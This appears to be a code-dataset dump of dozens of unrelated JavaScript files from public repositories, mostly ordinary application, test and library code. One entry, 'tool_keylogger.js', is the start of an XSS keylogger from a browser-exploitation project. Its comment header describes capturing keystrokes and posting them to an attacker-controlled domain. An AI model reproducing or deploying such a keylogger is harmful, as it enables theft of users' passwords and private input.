code stringlengths 2 1.05M | repo_name stringlengths 5 114 | path stringlengths 4 991 | language stringclasses 1
value | license stringclasses 15
values | size int32 2 1.05M |
|---|---|---|---|---|---|
'use strict'
const fs = require( 'fs-extra' )
const path = require('path')
const config = require( './config')
const defer = require( './helpers/create-promise' )
const formatName = require( './helpers/format-filename-for-jqueryfileupload.js' )
// https://docs.nodejitsu.com/articles/advan... | goodenough/mosaico | server/filemanager-local.js | JavaScript | gpl-3.0 | 1,965 |
var thumb = require('node-thumbnail').thumb;
module.exports = function ({source, destination}) {
console.log('Thumbnails check...')
thumb({
source: source,
destination: destination,
concurrency: 4
}, function (files, err, stdout, stderr) {
if (err)
console.error(... | LeoVS09/la-panorama | config/thumbnails.js | JavaScript | gpl-3.0 | 399 |
'use strict';
// Modules
const _ = require('lodash');
const fs = require('fs');
const path = require('path');
const shell = require('shelljs');
/*
* Helper to get an executable
*/
const getDockerBin = (bin, base) => {
// Do platform appropriate things to get started
const join = (process.platform === 'win32') ?... | kalabox/lando | lib/env.js | JavaScript | gpl-3.0 | 2,680 |
"use strict";
var SHOW_DATA = {
"venue_name": "Barton Hall, Cornell University, Ithaca, New York",
"venue_id": 150,
"show_date": "7th of May, 1980",
"sets": [
{"set_title": "1st set",
"encore": false,
"songs": [
{"name": "Jack Straw", "length":"0:00", "trans":"/"},
{"name": "Tennessee Jed", "length":... | maximinus/grateful-dead-songs | gdsongs/static/data/shows/330.js | JavaScript | gpl-3.0 | 1,611 |
"use strict";
const fs = require('fs'),
path = require('path'),
debug = require('../core/debug')('core/config', true);
const cfgPath = path.resolve(__dirname, '../defaults.json');
// read config
var cfg;
try {
cfg = JSON.parse(fs.readFileSync(cfgPath, 'utf8'));
} catch (e) {
if (e.code === 'E... | Rostlab/JS16_ProjectD_Group4 | core/config.js | JavaScript | gpl-3.0 | 1,810 |
import Immutable, {Map} from 'immutable';
import {actionTypes, actions, reducer} from './index.js';
import {actionTypes as system} from '../../System/index';
test(`should export actionTypes`, () => {
expect(actionTypes).not.toBe(undefined);
expect(typeof (actionTypes.TOGGLE)).toBe('string');
});
test(`shoul... | dimaip/neos-ui | packages/neos-ui-redux-store/src/UI/FullScreen/index.spec.js | JavaScript | gpl-3.0 | 1,666 |
import React from 'react';
import {Link} from 'react-router';
class HomePage extends React.Component {
render(){
return (
<div className="jumbotron">
<h1>Puralsight </h1>
<Link to="about" className="btn btn-primary btn-lg">Learn </Link>
</div>
);
}
}
export default HomePage;
| fckey/shapit | src/components/home/HomePage.js | JavaScript | gpl-3.0 | 316 |
var interfacemod__class__abstract__search__strategy__factory_1_1create__interface =
[
[ "create_interface", "interfacemod__class__abstract__search__strategy__factory_1_1create__interface.html#acaed5c343807e75b7a756d71bcfc7390", null ]
]; | gbertoldo/DEPP | doc/doxygen/interfacemod__class__abstract__search__strategy__factory_1_1create__interface.js | JavaScript | gpl-3.0 | 241 |
// Script that has helper functions.
$(function() {
var helpers = {};
/*
* @function Generates a basic modal, you have to append your own body with jQuery.
*
* @param {String} id
* @param {String} title
* @param {String} btn
* @param {Object} body
* @param {Funct... | ScaniaTV/PhantomBot | resources/web/ytplayer/js/util/helpers.js | JavaScript | gpl-3.0 | 8,678 |
/*
Copyright (c) 2003-2019, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license
*/
CKEDITOR.plugins.setLang( 'stylescombo', 'en-au', {
label: 'Styles',
panelTitle: 'Formatting Styles',
panelTitle1: 'Block Styles',
panelTitle2: 'Inline S... | ernestbuffington/PHP-Nuke-Titanium | includes/wysiwyg/ckeditor/plugins/stylescombo/lang/en-au.js | JavaScript | gpl-3.0 | 363 |
// In this benchmark, we connect a client to the server, and write
// as many bytes as we can in the specified time (default = 10s)
'use strict';
var common = require('../common.js');
var util = require('util');
// if there are dur=N and len=N args, then
// run the function with those settings.
// if not, then queue ... | TrossSoftwareAndTech/webvt | lib/node-v7.2.0/benchmark/net/tcp-raw-s2c.js | JavaScript | gpl-3.0 | 3,330 |
"use strict";
tutao.provide('tutao.tutanota.gui.MailView');
/**
* @constructor
* @implements {tutao.tutanota.ctrl.View}
*/
tutao.tutanota.gui.MailView = function() {
tutao.util.FunctionUtils.bindPrototypeMethodsToThis(this);
this._mailsHeight = 0;
this._passwordChannelsHeight = 0;
this._welcomeMessage = "";
};... | arnottcr/tutanota | web/js/gui/MailView.js | JavaScript | gpl-3.0 | 14,051 |
/**
* AvaTax Brazil
* The Avatax-Brazil API exposes the most commonly services available for interacting with the AvaTax-Brazil services, allowing calculation of taxes, issuing electronic invoice documents and modifying existing transactions when allowed by tax authorities. This API is exclusively for use by busines... | Avalara/avataxbr-clients | javascript-client/src/model/CsvIbptList.js | JavaScript | gpl-3.0 | 2,242 |
if (!__iwfCoreIncluded){iwfLogFatal("IWF Dependency Error: iwfobjects.js is dependent upon iwfcore.js, so you *must* reference that file first.\n\nExample:\n\n<script type='text/javascript' src='iwfcore.js'></script><script type='text/javascript' src='iwfobjects.js'></script>", true);}
var __iwfObjectsIncluded = true;... | jasonpsage/JegasCRM | webshare/iwf/release/iwfobjects.js | JavaScript | gpl-3.0 | 1,918 |
import { Directive, ElementRef, Optional, Renderer } from '@angular/core';
import { Config } from '../../config/config';
import { Ion } from '../ion';
import { ViewController } from '../../navigation/view-controller';
/**
* @name Footer
* @description
* Footer is a root component of a page that sits at the bottom of... | ricardo7227/DAW | Cliente/Codigo fuente/my-app-apk/node_modules/ionic-angular/es2015/components/toolbar/toolbar-footer.js | JavaScript | gpl-3.0 | 1,163 |
"use strict";
exports.__esModule = true;
var TypeMessageChat;
(function (TypeMessageChat) {
TypeMessageChat[TypeMessageChat["COM"] = 0] = "COM";
TypeMessageChat[TypeMessageChat["TRANSIT"] = 1] = "TRANSIT";
TypeMessageChat[TypeMessageChat["ERREUR_EMET"] = 2] = "ERREUR_EMET";
TypeMessageChat[TypeMessageCh... | hgrall/merite | src/communication/sos0/typeScript/chat/commun/chat.js | JavaScript | gpl-3.0 | 516 |
var __v=[
{
"Id": 1007,
"Chapter": 338,
"Name": "HTTPClient",
"Sort": 0
},
{
"Id": 1008,
"Chapter": 338,
"Name": "post example",
"Sort": 0
}
] | zuiwuchang/king-document | data/chapters/338.js | JavaScript | gpl-3.0 | 175 |
(function(){var e;function n(a,b){var c="";void 0===b?b=8:8<b&&(b=8);if(null==a||isNaN(a))for(;0<b--;)c="?"+c;else for(;0<b--;){var d=a&15,d=d+(0<=d&&9>=d?48:55),c=String.fromCharCode(d)+c;a>>=4}return c}function aa(a){var b=a,c=a.lastIndexOf("/");0<=c&&(b=a.substr(c+1));c=b.indexOf("&");0<c&&(b=b.substr(0,c));return b... | andreasfrisch/Narcissus | versions/c1pjs/1.20.0/c1p.js | JavaScript | gpl-3.0 | 52,748 |
(function(o,N){function r(a,b){this._d=a;this._isUTC=!!b}function p(a){return a<0?Math.ceil(a):Math.floor(a)}function x(a){var b=this._data={},c=a.years||a.y||0,e=a.months||a.M||0,d=a.weeks||a.w||0,i=a.days||a.d||0,f=a.hours||a.h||0,h=a.minutes||a.m||0,j=a.seconds||a.s||0,a=a.milliseconds||a.ms||0;this._milliseconds=a+... | floss-bush/adsh | plugins/Neatline/views/shared/javascripts/libraries/moment.min.js | JavaScript | gpl-3.0 | 10,212 |
'use strict';
var path = require('path');
var conf = require('./gulp/conf');
var _ = require('lodash');
var wiredep = require('wiredep');
var pathSrcHtml = [
path.join(conf.paths.src, '/**/*.html')
];
function listFiles() {
var wiredepOptions = _.extend({}, conf.wiredep, {
dependencies: true,
devDepende... | wilypomegranate/tivan | material_ui/karma.conf.js | JavaScript | gpl-3.0 | 2,660 |
import {
VisibilityFilters,
SET_VISIBILITY_FILTER
} from '../actions/todo';
const {
SHOW_ALL
} = VisibilityFilters
const reducer = (state = SHOW_ALL, action) => {
switch (action.type) {
case SET_VISIBILITY_FILTER:
return action.filter
default:
return state
}
}
export default reducer;
| pantao/hapi-react-isomorphic-boilerplate | src/frontend/reducers/todoVisibilityFilter.js | JavaScript | gpl-3.0 | 318 |
vti_encoding:SR|utf8-nl
vti_timelastmodified:TW|14 Aug 2014 13:37:00 -0000
vti_extenderversion:SR|12.0.0.0
vti_author:SR|Office-PC\\Rafael
vti_modifiedby:SR|Office-PC\\Rafael
vti_timecreated:TR|01 Nov 2014 09:10:51 -0000
vti_backlinkinfo:VX|
vti_nexttolasttimemodified:TW|14 Aug 2014 13:37:00 -0000
vti_cacheddtm:TX|03 N... | Vitronic/kaufreund.de | catalog/view/theme/theme436/js/bxslider/plugins/_vti_cnf/jquery.fitvids.js | JavaScript | gpl-3.0 | 617 |
/** User Schema for Catalyde **/
var mongoose = require('mongoose');
var Schema = mongoose.Schema;
var passport = require('passport');
var bcrypt = require('bcrypt');
// Define schema
var UserSchema = new Schema({
name : {
first: { type: String, required: true }
, last: { type: String, required: ... | catacs/catalyde | server/models/user.js | JavaScript | gpl-3.0 | 2,260 |
(function($) {
var tbl = document.getElementById("shop-categories");
$("tbody", tbl).sortable({
helper: function(e, ui) {
var element = ui.clone(),
children = ui.children();
element.children().each(function(i) {
$(this).width(children.eq(i).width());
});
return element;
},
containment: "pare... | AquaCore/AquaCore | admin/application/themes/admin/scripts/shop-category.js | JavaScript | gpl-3.0 | 846 |
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports["default"] = void 0;
var _RLChildRow = _interopRequireDefault(require("./renderless/RLChildRow"));
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }
var _default2 = {
name: 'VtChi... | matfish2/vue-tables-2 | compiled/components/VtChildRow.js | JavaScript | gpl-3.0 | 1,040 |
$(document).ready(function() {
setup_modal_dialogs();
$("#ServiceTitle").each(function() {
if($(this).val()!='other') {
$(this).parent().next("input").removeAttr('name').hide();
};
});
$("#ServiceTitle").change(function() {
var desiredName = $(this).attr('name');
if($(this).val()=='other') {
$(th... | searchfirst/ODN | js/load_config.js | JavaScript | gpl-3.0 | 2,255 |
import mongoose from 'mongoose'
const Schema = mongoose.Schema
const unitSchema = new Schema({
name: { type: 'String', required: true },
shortName: { type: 'String', required: true },
secondaryUnits: [{
name: { type: 'String', required: true },
shortName: { type: 'String', required: true },
primaryT... | SeasoningDev/Seasoning | server/models/unit.js | JavaScript | gpl-3.0 | 455 |
'use strict';
const path = require('path');
const exists = require('./file-exists');
const markbotMain = require('./markbot-main');
const screenshotNamingService = require('./checks/screenshots/naming-service');
let missingFiles = [];
const lockMarkbotFile = function (locker, markbotFile) {
locker.lockString('mark... | thomasjbradley/markbot | app/requirements-finder.js | JavaScript | gpl-3.0 | 2,541 |
/* ************************************************************************
qooxdoo - the new era of web development
http://qooxdoo.org
Copyright:
2007 Derrell Lipman
2004-2010 1&1 Internet AG, Germany, http://www.1und1.de
License:
LGPL: http://www.gnu.org/licenses/lgpl.html
EPL: htt... | 09zwcbupt/undergrad_thesis | ext/poxdesk/qx/application/demobrowser/source/class/demobrowser/demo/ui/FiniteStateMachine.js | JavaScript | gpl-3.0 | 4,532 |
Blockly.Blocks['plot'] = {
init: function() {
this.appendDummyInput()
.appendField(Blockly.Msg.PLOT);
this.appendValueInput("Name")
.setCheck("String")
.appendField(Blockly.Msg.PLOTNAME);
this.appendValueInput("y")
.setCheck("Array")
.appendField(Blockly.Msg.PLOTDAT... | OpenFPGAduino/BlocklyIDE | js/toolbox/plot.js | JavaScript | gpl-3.0 | 1,030 |
/* eslint-disable import/no-extraneous-dependencies */
import React from 'react';
class Download extends React.Component {
render() {
return (
<div>
下载
{this.props.children}
</div>
);
}
}
Download.propTypes = {
children: React.PropTypes.element,
};
export default Download;
| McLemore/ant | public/javascripts/modules/Download.js | JavaScript | gpl-3.0 | 323 |
"use strict";
QUnit.test("Leap year tests", function(assert) {
assert.equal(isLeapYear(1988), true, "1988 is a leap year");
assert.equal(isLeapYear(1989), false, "1989 is not a leap year");
});
QUnit.test("Validate Dates", function(assert) {
// format is day, month, year
assert.equal(validateDate(0,1,1990), false... | maximinus/grateful-dead-songs | gdsongs/static/js/tests/tests.js | JavaScript | gpl-3.0 | 1,902 |
/*
quininer[http://wiremask.eu/xss-keylogger/] - 140505
keylogger - null
- keylogger(local + Not IME)
gum.script('http://'+gum.domain+'/static/brows/tool_keylogger.js');
//gum_postkeylogs();
and
browserinfo['keylogs'] = b64ens(request.forms.keylogs)
*/
if (!('... | 54Pany/gum | static/brows/tool_keylogger.js | JavaScript | gpl-3.0 | 1,009 |
const path = require('path');
const fs = require("fs");
const webpack = require('webpack');
const htmlWebpackPlugin = require('html-webpack-plugin');
const pkg = JSON.parse(fs.readFileSync('./package.json'));
const sourcePa... | jimmythecoder/jimmythecoder.github.io | webpack.config.js | JavaScript | gpl-3.0 | 1,907 |
/**
* Plugin functions file
*
* Contains handlers for all the js functions that we will
* be executing
*/
( function( $ ) {
$(document).on('click', function(e) {
if(!$(e.target).closest('.alsSuggestions').length) {
$('.alsSuggestions').hide();
}
});
/**
* this variable is used to set the mar... | picocodes/aLs | includes/js/functions.js | JavaScript | gpl-3.0 | 3,322 |
/**
* Created by Ornithopter on 2015/1/20.
*/
ex(function() {
"use strict";
var parser = {};
parser.root = "";
parser.parseScenario = function (path, ctx, next) {
if (angular.isObject(path))
return next(null, path);
var xhtml = new XMLHttpRequest();
xht... | yhd4711499/textenture | public/js/lib/texenture/lib/parser/index.js | JavaScript | gpl-3.0 | 523 |
//var router = require("express").Router();
var Post = require("../../models/post");
module.exports = {
list : function(req, res, next ){
var post = new Post();
post.post_status = "publish";
post.all(function(err, posts){
if(err){
next(err);
return;
}
if(posts){
res.render("client/post... | hungdha/HelloNodejs | controllers/client/posts.js | JavaScript | gpl-3.0 | 1,269 |
var carts = {};
var nextCartId = 1;
var Cart = function() {
this.id = nextCartId++;
this.items = {};
this.purchase = false;
carts[this.id] = this;
return this;
};
Cart.deleteAll = function() {
carts = {};
nextCartId = 1;
}
Cart.get = function(cartId) {
if (!(cartId in carts))
throw new Error('c... | WomenWhoCode/rest_idempotence | src/models/cart.js | JavaScript | gpl-3.0 | 968 |
/*!
* contentstack-express
* copyright (c) Built.io Contentstack
* MIT Licensed
*/
'use strict';
/*!
* Module dependencies
*/
var onHeaders = require('on-headers');
/**
* calculate total response time in milliseconds of every request and response through header
*/
module.exports = function () {
return funct... | phutaneVinayak/pronq-project | node_modules/contentstack-express/lib/framework/middlewares/response-time.js | JavaScript | gpl-3.0 | 697 |
function AnswerListItemViewModel(data) {
var self = this;
self.answerId = data['id'];
self.author = new AuthorViewModel(data['author']);
self.votes = ko.observable(data['votes']);
self.content = data['content'];
self.datePublished = data['created'];
self.voted = ko.observable(null);
self... | TheRedLady/codebook | codebook/posts/static/js/answersList.js | JavaScript | gpl-3.0 | 624 |
/************************************************************************
* This file is part of EspoCRM.
*
* EspoCRM - Open Source CRM application.
* Copyright (C) 2014-2017 Yuri Kuznetsov, Taras Machyshyn, Oleksiy Avramenko
* Website: http://www.espocrm.com
*
* EspoCRM is free software: you can redistribute it... | PanuWeb/espocrm | client/src/views/fields/address.js | JavaScript | gpl-3.0 | 15,097 |
var TemplateDialog = {
preInit : function() {
tinyMCEPopup.requireLangPack();
},
init : function(ed) {
var ed = tinyMCEPopup.editor, dom = ed.dom;
tinyMCEPopup.resizeToInnerSize();
this.__loadTemplates();
},
doClose : function() {
var ed = tinyMCEPopup.editor, f = document.forms[0], nl = f.elements, v... | delight-software-gmbh/delight_cms | delight_hp/editor/tiny_mce/plugins/delighttitle/js/templates.js | JavaScript | gpl-3.0 | 6,515 |
var mymessages = {};
(function(){
if (typeof chrome !== 'undefined')
{
mymessages.sendBacgkround = chrome.runtime.sendMessage;
mymessages.sendTabs = function(message){
chrome.tabs.query({}, function(tabs) {
for (var i=0; i < tabs.length; ++i)
chrome.tabs.sendMessage(tabs[i].id, message);
});
};
... | pknowles/ImageFilter | messaging.js | JavaScript | gpl-3.0 | 1,308 |
var elementPurger = {
onPurgeRequest: function(request, sender, sendResponse) {
if (request.command === 'purge-elements' &&
request.frameUrl === document.location.href.replace(/#.*$/, ""))
elementPurger._purgeElements(request);
sendResponse({});
},
// Remove elements on the page of |reques... | brett-lempereur/sadblock | adblock_start_chrome.js | JavaScript | gpl-3.0 | 4,032 |
'use strict'
var dgram = require('dgram')
, EE = require('events').EventEmitter
, util = require('util')
, ip = require('ip')
, debug = require('debug')
var httpHeader = /HTTP\/\d{1}\.\d{1} \d+ .*/
, ssdpHeader = /^([^:]+):\s*(.*)$/
var nodeVersion = process.version.substr(1)
, moduleVersion = require('.... | glasbran/Hackathon---Homeautomation | Bridge/node_modules/node-ssdp/lib/index.js | JavaScript | gpl-3.0 | 10,097 |
/*
* Copyright (C) 2015-present CloudBeat Limited
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*/
/**
* @s... | oxygenhq/oxygen | src/ox_modules/module-web/commands/getHTML.js | JavaScript | gpl-3.0 | 1,083 |
var error = require('clickberry-http-errors');
var request = require('request');
var config = require('clickberry-config');
exports.upload = function (file, filename, contentLength, quality, callback) {
var formData = {
method: 'POST',
preambleCRLF: true,
postambleCRLF: true,
uri: c... | clickberry/videos-api-nodejs | lib/encoder-service.js | JavaScript | gpl-3.0 | 939 |
/* @license
Copyright 2014-2016 Université du Québec à Montréal (UQAM)
This file is part of Portail Étudiant.
Portail Étudiant is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either versio... | UQAM/portailEtudiant | client/app/inscription/faireIns/validation.service.spec.js | JavaScript | gpl-3.0 | 2,047 |
/**
* Untusoft (Untusoft Application)
* Copyright (C) 2014 Untusoft.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later ver... | untusoft/tutus | app/view/administration/Encryption.js | JavaScript | gpl-3.0 | 2,083 |
/**
* Copyright 2016-present Telldus Technologies AB.
*
* This file is part of the Telldus Live! app.
*
* Telldus Live! app is free : you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
*... | telldus/telldus-live-mobile-v3 | js/App/Components/Schedule/SubViews/index.js | JavaScript | gpl-3.0 | 1,576 |
var searchData=
[
['output_5fbin',['output_bin',['../classparameters.html#a355f49d462fafe3c57f7f475e5ddd6fa',1,'parameters']]],
['output_5fmode',['output_mode',['../classparameters.html#a61922f69b762255552f83353498689d0',1,'parameters']]],
['output_5fvtk',['output_vtk',['../classparameters.html#ae13109f0151499809... | meithan/walicxe3d | docum/html/search/variables_c.js | JavaScript | gpl-3.0 | 358 |
/**
* @license Copyright (c) 2003-2017, CKSource - Frederico Knabben. All rights reserved.
* For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'devtools', 'bg', {
title: 'Информация за елемента',
dialogName: 'Име на диалоговия прозорец',
tabName: 'Име на таб',
elementId: ... | Mediawiki-wysiwyg/WYSIWYG-CKeditor | WYSIWYG/ckeditor_source/plugins/devtools/lang/bg.js | JavaScript | gpl-3.0 | 449 |
/* global JSON*/
define([
'backbone',
'underscore',
'jquery',
'react',
'react-dom',
'../router',
'./quiz',
'./quiz_selector',
'./word_search_form.jsx'
], function(Backbone, _, $, React, ReactDOM, Router, Quiz,
QuizSelector, WordSearchForm) {
"use strict";
var App, NEW_QUIZ_URL, SCHEDULED_URL;
... | domino14/Webolith | djAerolith/flashcards/static/js/flashcards/views/app.js | JavaScript | gpl-3.0 | 6,010 |
// src_hydrology/post_change_null_value_insert.js
// -----------------------------------------------
function post_change_null_value_insert( element )
{
// If screen just loaded
// ---------------------
if ( element.name == "prompt_frame" )
{
var element;
element =
timlib_get_element(
"from_delete_yn_0... | timhriley/appaserver | src_hydrology/post_change_null_value_insert.js | JavaScript | gpl-3.0 | 507 |
describe("jasmine.util", function() {
describe("extend", function () {
it("should add properies to a destination object ", function() {
var destination = {baz: 'baz'};
jasmine.util.extend(destination, {
foo: 'foo', bar: 'bar'
});
expect(destination).toEqual({foo: 'foo', bar: 'bar',... | jevy/MyMapNow | vendor/plugins/jasmine/spec/suites/UtilSpec.js | JavaScript | gpl-3.0 | 727 |
'use strict';
// core utilities
var gulp = require('gulp'),
gutil = require('gulp-util'),
notify = require('gulp-notify'),
argv = require('yargs').argv,
gulpif = require('gulp-if'),
livereload = require('gulp-livereload');
// css utilities
var sass = require('gulp-sass'),
cssGlobbing = require('gulp-css-g... | alioso/probob | plugins/probo/gulpfile.js | JavaScript | gpl-3.0 | 2,794 |
/* jshint node: true */
module.exports = function(environment) {
var ENV = {
modulePrefix: 'chata',
environment: environment,
baseURL: '/',
locationType: 'auto',
EmberENV: {
FEATURES: {
// Here you can enable experimental features on an ember canary build
// e.g. 'with-contr... | rroldan/chata | config/environment.js | JavaScript | gpl-3.0 | 1,071 |
var a00062 =
[
[ "How to create your own project using OpenMesh", "a00060.html", null ],
[ "First Steps - Building a cube", "a00040.html", null ],
[ "Using iterators and circulators", "a00042.html", null ],
[ "Using (custom) properties", "a00044.html", null ],
[ "Using STL algorithms", "a00046.html"... | rudy-wang/ros-3d_camera | libopenmesh/build/OpenMesh-3.2/Documentation/a00062.js | JavaScript | gpl-3.0 | 685 |
enhanceMap = function (doc) {
var roomHash = {};
$(doc).find('#rooms').find('g').each(function(i,e){
var id = $('tspan:contains("###")',e).attr('id');
var name = n= $('tspan',e).not(':contains("###")').text();
roomHash[ name ] = id;
});
function refreshSVGMap() {
$.eac... | jaseg/ips-announce | sinatra/static/js/mapenhancer.js | JavaScript | gpl-3.0 | 769 |
(function(){'use strict';
var b=sluchch(1,9).pm();
var power = sl(2,5);
var c=sluchch(1,9);
if (power%2){
c *= [1,-1].iz();
}
var x=sluchch(1,9);
var a = Math.pow(c,power)-b*x;
var textpower = ('['+power+']').esli(power!=2);
var numerator = sl(1,9);
var multiplier = sl(1,9);
var parts = [
[ '\\sqrt'+textpower+'{'+... | nickkolok/chas-ege | zdn/mat2014/B7/6.js | JavaScript | gpl-3.0 | 779 |
import PropTypes from 'prop-types';
import React from 'react';
import Modal from 'Components/Modal/Modal';
import { sizes } from 'Helpers/Props';
import DeleteAlbumModalContentConnector from './DeleteAlbumModalContentConnector';
function DeleteAlbumModal(props) {
const {
isOpen,
onModalClose,
...otherPro... | lidarr/Lidarr | frontend/src/Album/Delete/DeleteAlbumModal.js | JavaScript | gpl-3.0 | 724 |
(function(){
'use strict';
let paystat = "";
let alist = "";
document.getElementById('nav').addEventListener('click', event => {
if (event.target.nodeName === 'SPAN')
document.body.classList = event.target.dataset.target;
});
document.getElementById("save").addEventListener("click", _ => {
chrome.runtime.se... | zluca/ByFly-Billing | popup.js | JavaScript | gpl-3.0 | 2,938 |
module.exports = {
reactCreateClass: require('./reactCreateClass'),
reactGetCurrent: require('./reactGetCurrent')
}; | janka102/swig-react | lib/extensions/index.js | JavaScript | gpl-3.0 | 124 |
var searchData=
[
['id_5fregex',['ID_REGEX',['../namespacepump.html#a11804cc01a8aef9c8700d3e44e0b518f',1,'pump']]],
['identifier',['identifier',['../classpump_1_1_var_node.html#aa2b634e2443646c3754f2d193efa4dc7',1,'pump.VarNode.identifier()'],['../classpump_1_1_range_node.html#ae75b9f31ba8c3bd048cf09b22035efa0',1,'... | bysreg/anjing | docs/html/search/variables_9.js | JavaScript | gpl-3.0 | 2,512 |
(function(Clazz
,Clazz_newLongArray
,Clazz_doubleToByte
,Clazz_doubleToInt
,Clazz_doubleToLong
,Clazz_declarePackage
,Clazz_instanceOf
,Clazz_load
,Clazz_instantialize
,Clazz_decorateAsClass
,Clazz_floatToInt
,Clazz_floatToLong
,Clazz_makeConstructor
,Clazz_defineEnumConstant
,Clazz_exceptionOf
,Clazz_ne... | nitro2010/moodle | filter/jmol/js/jsmol/js/corescriptmath.js | JavaScript | gpl-3.0 | 79,148 |
require("../js/config/config.js");
require("../js/config/scoring.js");
require("../js/analyzer.js");
require("../js/preprocessor.js");
require("../js/analyzescorer.js");
require("../js/stringhelper.js");
var wordCount = require("../js/stringProcessing/countWords.js");
wordcountArgs = {
testString: "een twee 13 vier",
... | aarmour/YoastSEO.js | spec/wordcountSpec.js | JavaScript | gpl-3.0 | 3,035 |
exports.getHostId = function(remoteAddress, remoteFamily, portNumber) {
if (remoteFamily == 'IPv4')
return remoteAddress + ':' + portNumber;
else if (remoteFamily == 'IPv6')
return '[' + remoteAddress + ']:' + portNumber;
else
throw 'Unrecognized IP family';
};
exports.getAddressFro... | blowthemall/blowthemall-nodejs | src/utils.js | JavaScript | gpl-3.0 | 1,044 |
#pragma strict
@script ExecuteInEditMode
@script RequireComponent (Camera)
@script AddComponentMenu ("Image Effects/Edge Detection (Geometry)")
enum EdgeDetectMode {
TriangleDepthNormals = 0,
RobertsCrossDepthNormals = 1,
SobelDepth = 2,
SobelDepthThin = 3,
}
class EdgeDetectEffectNormals extends PostEffectsBas... | katzensaft/haarpo | HAARPO/Assets/Models/Allosaurus/Standard Assets/Image Effects (Pro Only)/EdgeDetectEffectNormals.js | JavaScript | gpl-3.0 | 2,131 |
/**
* Internal dependencies
*/
import {
isAlreadyFinished,
isComplete,
getSearchValues,
getReplacement,
} from 'state/search/selector';
import { STATUS_COMPLETE, STATUS_IN_PROGRESS } from 'state/settings/type';
import { SEARCH_FORWARD, SEARCH_BACKWARD } from 'state/search/type';
describe( 'search selectors', () ... | johngodley/search-regex | client/state/search/__tests__/selector.js | JavaScript | gpl-3.0 | 2,782 |
var PageLoading = false;
//正常的提交
function _Submit(target, formName, btnName) {
if (PageLoading) {
alert("页面正在加载中,请等待...");
return ;
} else {
try {
if (target && target=="exportAction.do") {
//下载页面,下载的同时可以进行其它的提交操作
PageLoading = false;
} else {
PageLoading = true;
}
} catch (e) {
PageLo... | wenerme/java.practice | jk/src/main/webapp/validator/CheckFrame.js | JavaScript | gpl-3.0 | 5,473 |
(function(TextFormat) {
'use strict';
class ParagraphStyle {
constructor() {
this._indent = 0;
this._textAlign = 'left';
}
applyStyle(marker) {
var pgraph = marker.currentWord.parentNode.parentNode;
var firstLine = pgraph.childNodes[0];
firstLine.style['padding-left'] = $pxStr(this._indent);
... | RyanRiffle/Poe | rewrite/TextFormat/ParagraphStyle.js | JavaScript | gpl-3.0 | 988 |
/* Copyright (C) Lech H. Conde */
(function(){$widgetkit.lazyloaders.googlemaps=function(a,b){$widgetkit.load(WIDGETKIT_URL+"/widgets/map/styles/wk-mapstylepro/js/map.js").done(function(){a.googlemaps(b)})}})(jQuery);
| zyrx/wk-mapstylepro | js/lazyloader.js | JavaScript | gpl-3.0 | 218 |
/* ***** BEGIN LICENSE BLOCK *****
* Version: GPL 3.0
*
* The contents of this file are subject to the General Public License
* 3.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.gnu.org/licenses/gpl.html
*
* Software dist... | asine/exchangecalendar | common/content/progress_panel.js | JavaScript | gpl-3.0 | 8,120 |
var PagableCollection = require('backbone.pageable');
var FileModel = require('./FileModel');
var AsSortedCollection = require('../../Mixins/AsSortedCollection');
var Collection = PagableCollection.extend({
url : window.NzbDrone.ApiRoot + "/moviefile",
model : FileModel,
state : {
pageSize : 200... | jamesmacwhite/Radarr | src/UI/Movies/Files/FilesCollection.js | JavaScript | gpl-3.0 | 653 |
(function () {
'use strict';
angular
.module("otusjs.user.permission")
.factory("otusjs.user.permission.SurveyGroupPermissionFactory", Factory);
function Factory() {
let self = this;
self.create = create;
function create(permissionJson, userEmail) {
return new SurveyGroupPermission(p... | ccem-dev/otus-model-js | app/user/permission/survey-group-permission-factory.js | JavaScript | gpl-3.0 | 1,482 |
/**
* @class Ext.data.PageMap
* @extends Ext.util.LruCache
* Private class for use by only Store when configured `buffered: true`.
* @private
*/
Ext.define('Ext.data.PageMap', {
extend: 'Ext.util.LruCache',
// Maintain a generation counter, so that the Store can reject incoming pages destined for the prev... | grgur/Sencha5-Finance | ext/packages/sencha-core/src/data/PageMap.js | JavaScript | gpl-3.0 | 9,627 |
var Cookies = {
init: function () {
var allCookies = document.cookie.split('; ');
for (var i = 0; i < allCookies.length; i++) {
var cookiePair = allCookies[i].split('=');
this[cookiePair[0]] = cookiePair[1];
}
},
create: function (name, value, days) {
... | xuanla87/Teamwork | NewNationals/NewNationals/Areas/AdminControlPanel/Content/bootstrap/js/common.js | JavaScript | gpl-3.0 | 1,052 |
/*
Copyright (c) 2005, 2006 Rafael Robayna
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, dist... | flashline/Apix-MyBox | www/apix/default/SignField/canvasPainter/canvasPainter original/CPDrawing.js | JavaScript | gpl-3.0 | 5,315 |
// watch.js //
nodeRequire=require // cannot be removed
var fs=nodeRequire('fs');
var gui = global.window.nwDispatcher.requireNwGui();
var sep=require('path').sep;
var file=process.cwd()+sep+'build'+sep+'build.js';
var watchFiles=function() {
fs.watchFile(file, function (f1, f2) {
console.log('watching ',file)
... | ksanaforge/dev2014 | node_scripts/watch.js | JavaScript | gpl-3.0 | 636 |
// Generated by CoffeeScript 1.11.1
Ext.define('FM.view.forms.CreateArchiveForm', {
extend: 'Ext.form.Panel',
alias: 'widget.create-archive-form',
cls: 'fm-create-archive-form',
items: [],
bodyStyle: {
background: 'none'
},
requires: ['Ext.form.RadioGroup', 'Ext.form.field.Text', 'Ext.form.field.Radio... | LTD-Beget/sprutio-frontend | app/view/forms/CreateArchiveForm.js | JavaScript | gpl-3.0 | 2,866 |
(function(){
